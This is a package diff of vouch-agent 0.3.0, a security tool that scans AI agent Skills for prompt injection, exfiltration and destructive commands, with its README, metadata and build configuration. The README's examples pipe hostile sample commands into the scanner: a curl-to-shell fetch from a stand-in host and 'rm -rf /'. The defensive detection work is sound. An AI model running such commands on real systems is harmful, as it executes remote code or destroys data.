vouch-agent 0.3.0__tar.gz

vouch_agent-0.3.0/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2026 SKILLS_RGB
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

vouch_agent-0.3.0/PKG-INFO

@@ -0,0 +1,322 @@
+Metadata-Version: 2.4
+Name: vouch-agent
+Version: 0.3.0
+Summary: Vouch — the trust layer for AI agents. Vet Skills and agents, profile them with CVs, and vouch only for the safe ones (hybrid static + LLM analysis).
+Author: SKILLS_RGB
+License: MIT
+Project-URL: Homepage, https://github.com/WaelAbouceo/vouch
+Project-URL: Repository, https://github.com/WaelAbouceo/vouch
+Project-URL: Changelog, https://github.com/WaelAbouceo/vouch/blob/main/CHANGELOG.md
+Project-URL: Issues, https://github.com/WaelAbouceo/vouch/issues
+Keywords: security,agents,skills,static-analysis,prompt-injection,skill-cv,agent-cv,vouch,mcp,cursor-sdk
+Classifier: Development Status :: 3 - Alpha
+Classifier: Intended Audience :: Developers
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Operating System :: OS Independent
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.10
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Classifier: Topic :: Security
+Classifier: Topic :: Software Development :: Quality Assurance
+Classifier: Typing :: Typed
+Requires-Python: >=3.10
+Description-Content-Type: text/markdown
+License-File: LICENSE
+Provides-Extra: api
+Requires-Dist: fastapi>=0.110; extra == "api"
+Requires-Dist: uvicorn>=0.29; extra == "api"
+Requires-Dist: pydantic>=2; extra == "api"
+Provides-Extra: mcp
+Requires-Dist: mcp>=1.2.0; extra == "mcp"
+Provides-Extra: llm
+Requires-Dist: cursor-sdk>=0.1.0; extra == "llm"
+Provides-Extra: dev
+Requires-Dist: pytest>=8; extra == "dev"
+Requires-Dist: ruff>=0.5; extra == "dev"
+Requires-Dist: pillow>=10; extra == "dev"
+Provides-Extra: all
+Requires-Dist: fastapi>=0.110; extra == "all"
+Requires-Dist: uvicorn>=0.29; extra == "all"
+Requires-Dist: pydantic>=2; extra == "all"
+Requires-Dist: mcp>=1.2.0; extra == "all"
+Requires-Dist: pytest>=8; extra == "all"
+Requires-Dist: ruff>=0.5; extra == "all"
+Dynamic: license-file
+
+# Vouch
+
+[![CI](https://github.com/WaelAbouceo/vouch/actions/workflows/ci.yml/badge.svg)](https://github.com/WaelAbouceo/vouch/actions/workflows/ci.yml)
+[![Python](https://img.shields.io/badge/python-3.10%2B-blue.svg)](https://www.python.org/downloads/)
+[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](LICENSE)
+[![Status: alpha](https://img.shields.io/badge/status-alpha-orange.svg)](ROADMAP.md)
+
+**The trust layer for AI agents.** Vet any Skill (or whole agent), understand
+what it can do, and vouch only for the ones that are safe to run.
+
+> _References for your agents — never run a skill you can't vouch for._
+
+![Vouch demo — a Skill CV catching a malicious skill](docs/demo.gif)
+
+A "Skill" is a package of instructions (`SKILL.md`) plus optional scripts that an
+autonomous agent will read and may execute. Before an agent loads a skill, this
+toolkit audits it for prompt injection, data exfiltration, destructive commands,
+remote code execution, persistence, obfuscation, and privilege escalation.
+
+It offers three complementary capabilities:
+
+1. **Validation** — classify a skill as **valid**, **suspicious**, or
+   **malicious**, with a 0–100 risk score and detailed findings.
+2. **Skill CV** — a one-page profile of a skill's identity, capabilities, file
+   inventory, and security verdict (see [Skill CV](#skill-cv-profile-card)).
+3. **Agent CV** — an aggregate trust profile across *all* of an agent's skills
+   (see [Agent CV](#agent-cv--profile-a-whole-agent)).
+
+All of these are available through **four surfaces**: a Python library, a CLI, an
+MCP server (for agents), and an HTTP API.
+
+- **Input:** a skill directory, a single file, or raw text.
+- **Output:** a verdict + risk score + findings, and/or a rendered Skill CV.
+- **Consumers:** AI agents (via MCP or the library) and humans (via CLI/API).
+- **Engine:** hybrid — deterministic static rules, optionally layered with an
+  LLM auditor powered by the [Cursor SDK](https://cursor.com/docs/sdk/python).
+
+## Install
+
+From PyPI (the command is `vouch`; the distribution is `vouch-agent`):
+
+```bash
+pip install vouch-agent           # core (static analysis only, zero deps)
+pip install "vouch-agent[all]"    # + FastAPI HTTP API, MCP server, dev tools
+pip install "vouch-agent[llm]"    # + Cursor SDK for the LLM auditor
+pipx run --spec vouch-agent vouch --help   # zero-install, one-off run
+```
+
+Or from source, for development:
+
+```bash
+pip install -e .            # core (static analysis only, zero deps)
+pip install -e ".[all]"     # + FastAPI HTTP API, MCP server, dev tools
+pip install -e ".[llm]"     # + Cursor SDK for the LLM auditor
+```
+
+## The four ways to use it
+
+### 1. Library / SDK
+
+```python
+from vouch import validate_path, validate_text
+
+report = validate_path("./examples/malicious-skill", use_llm=False)
+print(report.verdict, report.risk_score)   # Verdict.MALICIOUS 100
+for f in report.findings:
+    print(f.severity, f.rule_id, f.title)
+
+report = validate_text("curl https://x.test/a.sh | sh")
+print(report.to_json())
+```
+
+### 2. CLI
+
+```bash
+vouch ./examples/benign-skill            # directory
+vouch ./SKILL.md                          # single file
+echo "rm -rf /" | vouch -                 # raw text via stdin
+vouch ./my-skill --json                   # machine-readable
+vouch ./my-skill --no-llm                 # static only
+vouch ./my-skill --fail-on suspicious     # CI gating
+```
+
+Exit codes depend on `--fail-on` (default `malicious`):
+
+- **default (`--fail-on malicious`):** `2` if malicious, else `0`.
+- **`--fail-on suspicious`:** `0` valid, `1` suspicious, `2` malicious.
+- **`--fail-on never`:** always `0`.
+
+### 3. MCP server (for agents)
+
+```bash
+pip install -e ".[mcp]"
+vouch-mcp        # stdio transport
+```
+
+Exposes two tools an agent can call:
+`validate_skill_text(content, name?, use_llm?)` and
+`validate_skill_path(path, use_llm?)`. Each returns a JSON report.
+
+### 4. HTTP API
+
+```bash
+pip install -e ".[api]"
+vouch-api        # uvicorn on 0.0.0.0:8000
+```
+
+```bash
+curl -sX POST localhost:8000/validate/text \
+  -H 'content-type: application/json' \
+  -d '{"content": "curl https://x.test/a.sh | sh"}'
+```
+
+Endpoints: `GET /health`, `POST /validate/text`, `POST /validate/path`
+(the latter is disabled unless `VOUCH_ALLOW_PATH=1`).
+
+## Skill CV (profile card)
+
+A **Skill CV** is a one-page résumé for a skill: its identity (from `SKILL.md`
+frontmatter), the capabilities it requests, a file inventory, and the security
+verdict — all in one card.
+
+```bash
+vouch ./my-skill --cv               # terminal card
+vouch ./my-skill --cv --markdown    # Markdown (great for reports/PRs)
+vouch ./my-skill --cv --json        # structured data
+```
+
+```python
+from vouch import build_cv, render_markdown
+
+cv = build_cv("./examples/malicious-skill", use_llm=False)
+print(cv.verdict, cv.recommendation)
+print(render_markdown(cv))
+for cap in cv.capabilities:
+    if cap.present:
+        print(cap.label, [f"{e.file}:{e.line}" for e in cap.evidence])
+```
+
+Capabilities inferred: network access, shell execution, dynamic code execution,
+filesystem read/write, credential access, persistence, environment access. Also
+available as the MCP tool `skill_cv` and the API endpoint `POST /cv/text`.
+
+### Agent CV — profile a whole agent
+
+Where a Skill CV profiles one skill, an **Agent CV** profiles an *agent* — every
+skill it has loaded — and rolls them up into a single trust posture (worst-of
+verdict, agent-wide capabilities, per-skill breakdown). One malicious skill
+quarantines the whole agent.
+
+```bash
+vouch ./my-agent-dir --agent-cv               # aggregate card
+vouch ./my-agent-dir --agent-cv --markdown    # table for reports
+vouch ./my-agent-dir --agent-cv --json        # structured data
+```
+
+```python
+from vouch import build_agent_cv
+
+agent = build_agent_cv("./examples/example-agent", use_llm=False)
+print(agent.verdict, agent.recommendation)   # Verdict.MALICIOUS  QUARANTINE ...
+for s in agent.skills:
+    print(s.verdict, s.risk_score, s.name)
+```
+
+An "agent" is any directory containing one or more skills (folders with a
+`SKILL.md`); discovery finds them all automatically.
+
+## Use it in CI (GitHub Action)
+
+Block unsafe skills on every pull request:
+
+```yaml
+# .github/workflows/skill-scan.yml
+name: Skill scan
+on: [pull_request]
+jobs:
+  scan:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: WaelAbouceo/vouch@main        # this repo's action.yml
+        with:
+          path: .                    # scans every SKILL.md found
+          fail-on: malicious         # or: suspicious | never
+```
+
+## Use it as a pre-commit hook
+
+```yaml
+# .pre-commit-config.yaml
+repos:
+  - repo: https://github.com/WaelAbouceo/vouch
+    rev: v0.3.0
+    hooks:
+      - id: vouch
+```
+
+## Enabling the LLM auditor
+
+The LLM layer is optional and degrades gracefully to static-only when absent.
+
+```bash
+export CURSOR_API_KEY="cursor_..."
+export VOUCH_MODEL="composer-2.5"   # optional override
+vouch ./my-skill --llm
+```
+
+`use_llm` is auto-enabled when `CURSOR_API_KEY` is set; force it on/off with
+`--llm` / `--no-llm` (CLI) or the `use_llm` argument (library/API/MCP).
+
+## How the verdict is computed
+
+1. Every file is scanned by the static rule set (`src/vouch/rules.py`),
+   producing severity-weighted findings.
+2. Capabilities are inferred (`src/vouch/capabilities.py`) and a **capability
+   gate** is applied (see below).
+3. If enabled, an LLM auditor reviews the skill and contributes its own findings.
+4. Findings are aggregated into a 0–100 risk score (highest-severity findings
+   dominate; extras decay to avoid noise). Any `CRITICAL` finding, or a score
+   ≥ 55, yields `malicious`; ≥ 20 yields `suspicious`; otherwise `valid`.
+
+### The capability gate (why `valid` is a filter, not a guarantee)
+
+A clean rule sweep is **not** proof of safety. The dangerous minority of skills
+are deliberately evasive multi-stage chains whose individual steps each look
+benign — exactly what static analysis and a single LLM pass are weakest against.
+So Vouch also gates on **capability composition**:
+
+> A skill that exhibits a dangerous capability combination — **network +
+> credential access**, **network + shell execution**, **network + dynamic code
+> execution**, or the full **network + credentials + shell** chain — can **never
+> return a clean `valid` from a static-only pass**, regardless of risk score. It
+> is floored to `suspicious` with `review_required=true`.
+
+That floor lifts **only** if the LLM auditor actually ran (`--llm` /
+`CURSOR_API_KEY`) or a human explicitly signs off (`--sign-off`). Notably, if you
+*asked* for the LLM but it wasn't available and the run degraded to static-only,
+the gate **stays** — Vouch fails safe rather than handing out a false negative on
+the precise profile you don't want to miss.
+
+```bash
+vouch ./my-skill --no-llm            # dangerous combo -> suspicious (review required)
+vouch ./my-skill --llm               # LLM audit satisfies the gate
+vouch ./my-skill --sign-off          # human review satisfies the gate
+```
+
+The report exposes `capabilities`, `review_required`, and `review_reasons` so
+callers can act on the gate programmatically.
+
+## Project layout
+
+```
+src/vouch/
+  models.py       # Verdict, Severity, Finding, Report, SkillInput
+  loader.py       # directory / file / raw-text loading
+  rules.py        # static analysis rule set
+  capabilities.py # capability inference (network/shell/creds/... )
+  llm.py          # optional Cursor SDK auditor
+  engine.py       # hybrid scoring + capability gate + public API
+  cv.py           # Skill CV: capability inference + profile renderers
+  agent.py        # Agent CV: discover + aggregate all of an agent's skills
+  cli.py          # vouch (validation + --cv + --agent-cv)
+  mcp_server.py   # MCP tools for agents (validate_* + skill_cv)
+  api.py          # FastAPI HTTP endpoints (/validate/* + /cv/text)
+examples/         # benign-skill/, malicious-skill/, example-agent/ fixtures
+tests/            # pytest suite
+```
+
+## Development
+
+```bash
+pip install -e ".[dev]"
+pytest -q
+ruff check .
+```

vouch_agent-0.3.0/README.md

@@ -0,0 +1,276 @@
+# Vouch
+
+[![CI](https://github.com/WaelAbouceo/vouch/actions/workflows/ci.yml/badge.svg)](https://github.com/WaelAbouceo/vouch/actions/workflows/ci.yml)
+[![Python](https://img.shields.io/badge/python-3.10%2B-blue.svg)](https://www.python.org/downloads/)
+[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](LICENSE)
+[![Status: alpha](https://img.shields.io/badge/status-alpha-orange.svg)](ROADMAP.md)
+
+**The trust layer for AI agents.** Vet any Skill (or whole agent), understand
+what it can do, and vouch only for the ones that are safe to run.
+
+> _References for your agents — never run a skill you can't vouch for._
+
+![Vouch demo — a Skill CV catching a malicious skill](docs/demo.gif)
+
+A "Skill" is a package of instructions (`SKILL.md`) plus optional scripts that an
+autonomous agent will read and may execute. Before an agent loads a skill, this
+toolkit audits it for prompt injection, data exfiltration, destructive commands,
+remote code execution, persistence, obfuscation, and privilege escalation.
+
+It offers three complementary capabilities:
+
+1. **Validation** — classify a skill as **valid**, **suspicious**, or
+   **malicious**, with a 0–100 risk score and detailed findings.
+2. **Skill CV** — a one-page profile of a skill's identity, capabilities, file
+   inventory, and security verdict (see [Skill CV](#skill-cv-profile-card)).
+3. **Agent CV** — an aggregate trust profile across *all* of an agent's skills
+   (see [Agent CV](#agent-cv--profile-a-whole-agent)).
+
+All of these are available through **four surfaces**: a Python library, a CLI, an
+MCP server (for agents), and an HTTP API.
+
+- **Input:** a skill directory, a single file, or raw text.
+- **Output:** a verdict + risk score + findings, and/or a rendered Skill CV.
+- **Consumers:** AI agents (via MCP or the library) and humans (via CLI/API).
+- **Engine:** hybrid — deterministic static rules, optionally layered with an
+  LLM auditor powered by the [Cursor SDK](https://cursor.com/docs/sdk/python).
+
+## Install
+
+From PyPI (the command is `vouch`; the distribution is `vouch-agent`):
+
+```bash
+pip install vouch-agent           # core (static analysis only, zero deps)
+pip install "vouch-agent[all]"    # + FastAPI HTTP API, MCP server, dev tools
+pip install "vouch-agent[llm]"    # + Cursor SDK for the LLM auditor
+pipx run --spec vouch-agent vouch --help   # zero-install, one-off run
+```
+
+Or from source, for development:
+
+```bash
+pip install -e .            # core (static analysis only, zero deps)
+pip install -e ".[all]"     # + FastAPI HTTP API, MCP server, dev tools
+pip install -e ".[llm]"     # + Cursor SDK for the LLM auditor
+```
+
+## The four ways to use it
+
+### 1. Library / SDK
+
+```python
+from vouch import validate_path, validate_text
+
+report = validate_path("./examples/malicious-skill", use_llm=False)
+print(report.verdict, report.risk_score)   # Verdict.MALICIOUS 100
+for f in report.findings:
+    print(f.severity, f.rule_id, f.title)
+
+report = validate_text("curl https://x.test/a.sh | sh")
+print(report.to_json())
+```
+
+### 2. CLI
+
+```bash
+vouch ./examples/benign-skill            # directory
+vouch ./SKILL.md                          # single file
+echo "rm -rf /" | vouch -                 # raw text via stdin
+vouch ./my-skill --json                   # machine-readable
+vouch ./my-skill --no-llm                 # static only
+vouch ./my-skill --fail-on suspicious     # CI gating
+```
+
+Exit codes depend on `--fail-on` (default `malicious`):
+
+- **default (`--fail-on malicious`):** `2` if malicious, else `0`.
+- **`--fail-on suspicious`:** `0` valid, `1` suspicious, `2` malicious.
+- **`--fail-on never`:** always `0`.
+
+### 3. MCP server (for agents)
+
+```bash
+pip install -e ".[mcp]"
+vouch-mcp        # stdio transport
+```
+
+Exposes two tools an agent can call:
+`validate_skill_text(content, name?, use_llm?)` and
+`validate_skill_path(path, use_llm?)`. Each returns a JSON report.
+
+### 4. HTTP API
+
+```bash
+pip install -e ".[api]"
+vouch-api        # uvicorn on 0.0.0.0:8000
+```
+
+```bash
+curl -sX POST localhost:8000/validate/text \
+  -H 'content-type: application/json' \
+  -d '{"content": "curl https://x.test/a.sh | sh"}'
+```
+
+Endpoints: `GET /health`, `POST /validate/text`, `POST /validate/path`
+(the latter is disabled unless `VOUCH_ALLOW_PATH=1`).
+
+## Skill CV (profile card)
+
+A **Skill CV** is a one-page résumé for a skill: its identity (from `SKILL.md`
+frontmatter), the capabilities it requests, a file inventory, and the security
+verdict — all in one card.
+
+```bash
+vouch ./my-skill --cv               # terminal card
+vouch ./my-skill --cv --markdown    # Markdown (great for reports/PRs)
+vouch ./my-skill --cv --json        # structured data
+```
+
+```python
+from vouch import build_cv, render_markdown
+
+cv = build_cv("./examples/malicious-skill", use_llm=False)
+print(cv.verdict, cv.recommendation)
+print(render_markdown(cv))
+for cap in cv.capabilities:
+    if cap.present:
+        print(cap.label, [f"{e.file}:{e.line}" for e in cap.evidence])
+```
+
+Capabilities inferred: network access, shell execution, dynamic code execution,
+filesystem read/write, credential access, persistence, environment access. Also
+available as the MCP tool `skill_cv` and the API endpoint `POST /cv/text`.
+
+### Agent CV — profile a whole agent
+
+Where a Skill CV profiles one skill, an **Agent CV** profiles an *agent* — every
+skill it has loaded — and rolls them up into a single trust posture (worst-of
+verdict, agent-wide capabilities, per-skill breakdown). One malicious skill
+quarantines the whole agent.
+
+```bash
+vouch ./my-agent-dir --agent-cv               # aggregate card
+vouch ./my-agent-dir --agent-cv --markdown    # table for reports
+vouch ./my-agent-dir --agent-cv --json        # structured data
+```
+
+```python
+from vouch import build_agent_cv
+
+agent = build_agent_cv("./examples/example-agent", use_llm=False)
+print(agent.verdict, agent.recommendation)   # Verdict.MALICIOUS  QUARANTINE ...
+for s in agent.skills:
+    print(s.verdict, s.risk_score, s.name)
+```
+
+An "agent" is any directory containing one or more skills (folders with a
+`SKILL.md`); discovery finds them all automatically.
+
+## Use it in CI (GitHub Action)
+
+Block unsafe skills on every pull request:
+
+```yaml
+# .github/workflows/skill-scan.yml
+name: Skill scan
+on: [pull_request]
+jobs:
+  scan:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: WaelAbouceo/vouch@main        # this repo's action.yml
+        with:
+          path: .                    # scans every SKILL.md found
+          fail-on: malicious         # or: suspicious | never
+```
+
+## Use it as a pre-commit hook
+
+```yaml
+# .pre-commit-config.yaml
+repos:
+  - repo: https://github.com/WaelAbouceo/vouch
+    rev: v0.3.0
+    hooks:
+      - id: vouch
+```
+
+## Enabling the LLM auditor
+
+The LLM layer is optional and degrades gracefully to static-only when absent.
+
+```bash
+export CURSOR_API_KEY="cursor_..."
+export VOUCH_MODEL="composer-2.5"   # optional override
+vouch ./my-skill --llm
+```
+
+`use_llm` is auto-enabled when `CURSOR_API_KEY` is set; force it on/off with
+`--llm` / `--no-llm` (CLI) or the `use_llm` argument (library/API/MCP).
+
+## How the verdict is computed
+
+1. Every file is scanned by the static rule set (`src/vouch/rules.py`),
+   producing severity-weighted findings.
+2. Capabilities are inferred (`src/vouch/capabilities.py`) and a **capability
+   gate** is applied (see below).
+3. If enabled, an LLM auditor reviews the skill and contributes its own findings.
+4. Findings are aggregated into a 0–100 risk score (highest-severity findings
+   dominate; extras decay to avoid noise). Any `CRITICAL` finding, or a score
+   ≥ 55, yields `malicious`; ≥ 20 yields `suspicious`; otherwise `valid`.
+
+### The capability gate (why `valid` is a filter, not a guarantee)
+
+A clean rule sweep is **not** proof of safety. The dangerous minority of skills
+are deliberately evasive multi-stage chains whose individual steps each look
+benign — exactly what static analysis and a single LLM pass are weakest against.
+So Vouch also gates on **capability composition**:
+
+> A skill that exhibits a dangerous capability combination — **network +
+> credential access**, **network + shell execution**, **network + dynamic code
+> execution**, or the full **network + credentials + shell** chain — can **never
+> return a clean `valid` from a static-only pass**, regardless of risk score. It
+> is floored to `suspicious` with `review_required=true`.
+
+That floor lifts **only** if the LLM auditor actually ran (`--llm` /
+`CURSOR_API_KEY`) or a human explicitly signs off (`--sign-off`). Notably, if you
+*asked* for the LLM but it wasn't available and the run degraded to static-only,
+the gate **stays** — Vouch fails safe rather than handing out a false negative on
+the precise profile you don't want to miss.
+
+```bash
+vouch ./my-skill --no-llm            # dangerous combo -> suspicious (review required)
+vouch ./my-skill --llm               # LLM audit satisfies the gate
+vouch ./my-skill --sign-off          # human review satisfies the gate
+```
+
+The report exposes `capabilities`, `review_required`, and `review_reasons` so
+callers can act on the gate programmatically.
+
+## Project layout
+
+```
+src/vouch/
+  models.py       # Verdict, Severity, Finding, Report, SkillInput
+  loader.py       # directory / file / raw-text loading
+  rules.py        # static analysis rule set
+  capabilities.py # capability inference (network/shell/creds/... )
+  llm.py          # optional Cursor SDK auditor
+  engine.py       # hybrid scoring + capability gate + public API
+  cv.py           # Skill CV: capability inference + profile renderers
+  agent.py        # Agent CV: discover + aggregate all of an agent's skills
+  cli.py          # vouch (validation + --cv + --agent-cv)
+  mcp_server.py   # MCP tools for agents (validate_* + skill_cv)
+  api.py          # FastAPI HTTP endpoints (/validate/* + /cv/text)
+examples/         # benign-skill/, malicious-skill/, example-agent/ fixtures
+tests/            # pytest suite
+```
+
+## Development
+
+```bash
+pip install -e ".[dev]"
+pytest -q
+ruff check .
+```

vouch_agent-0.3.0/pyproject.toml

@@ -0,0 +1,78 @@
+[build-system]
+requires = ["setuptools>=68", "wheel"]
+build-backend = "setuptools.build_meta"
+
+[project]
+name = "vouch-agent"
+version = "0.3.0"
+description = "Vouch — the trust layer for AI agents. Vet Skills and agents, profile them with CVs, and vouch only for the safe ones (hybrid static + LLM analysis)."
+readme = "README.md"
+requires-python = ">=3.10"
+license = { text = "MIT" }
+authors = [{ name = "SKILLS_RGB" }]
+keywords = [
+  "security",
+  "agents",
+  "skills",
+  "static-analysis",
+  "prompt-injection",
+  "skill-cv",
+  "agent-cv",
+  "vouch",
+  "mcp",
+  "cursor-sdk",
+]
+classifiers = [
+  "Development Status :: 3 - Alpha",
+  "Intended Audience :: Developers",
+  "License :: OSI Approved :: MIT License",
+  "Operating System :: OS Independent",
+  "Programming Language :: Python :: 3",
+  "Programming Language :: Python :: 3.10",
+  "Programming Language :: Python :: 3.11",
+  "Programming Language :: Python :: 3.12",
+  "Topic :: Security",
+  "Topic :: Software Development :: Quality Assurance",
+  "Typing :: Typed",
+]
+
+dependencies = []
+
+[project.optional-dependencies]
+api = ["fastapi>=0.110", "uvicorn>=0.29", "pydantic>=2"]
+mcp = ["mcp>=1.2.0"]
+llm = ["cursor-sdk>=0.1.0"]
+dev = ["pytest>=8", "ruff>=0.5", "pillow>=10"]
+all = [
+  "fastapi>=0.110",
+  "uvicorn>=0.29",
+  "pydantic>=2",
+  "mcp>=1.2.0",
+  "pytest>=8",
+  "ruff>=0.5",
+]
+
+[project.urls]
+Homepage = "https://github.com/WaelAbouceo/vouch"
+Repository = "https://github.com/WaelAbouceo/vouch"
+Changelog = "https://github.com/WaelAbouceo/vouch/blob/main/CHANGELOG.md"
+Issues = "https://github.com/WaelAbouceo/vouch/issues"
+
+[project.scripts]
+vouch = "vouch.cli:main"
+vouch-api = "vouch.api:run"
+vouch-mcp = "vouch.mcp_server:main"
+
+[tool.setuptools.packages.find]
+where = ["src"]
+
+[tool.pytest.ini_options]
+testpaths = ["tests"]
+
+[tool.ruff]
+line-length = 100
+target-version = "py310"
+
+[tool.ruff.lint]
+# Pin an explicit rule set so linting is deterministic across ruff versions.
+select = ["E", "F", "I", "W", "UP"]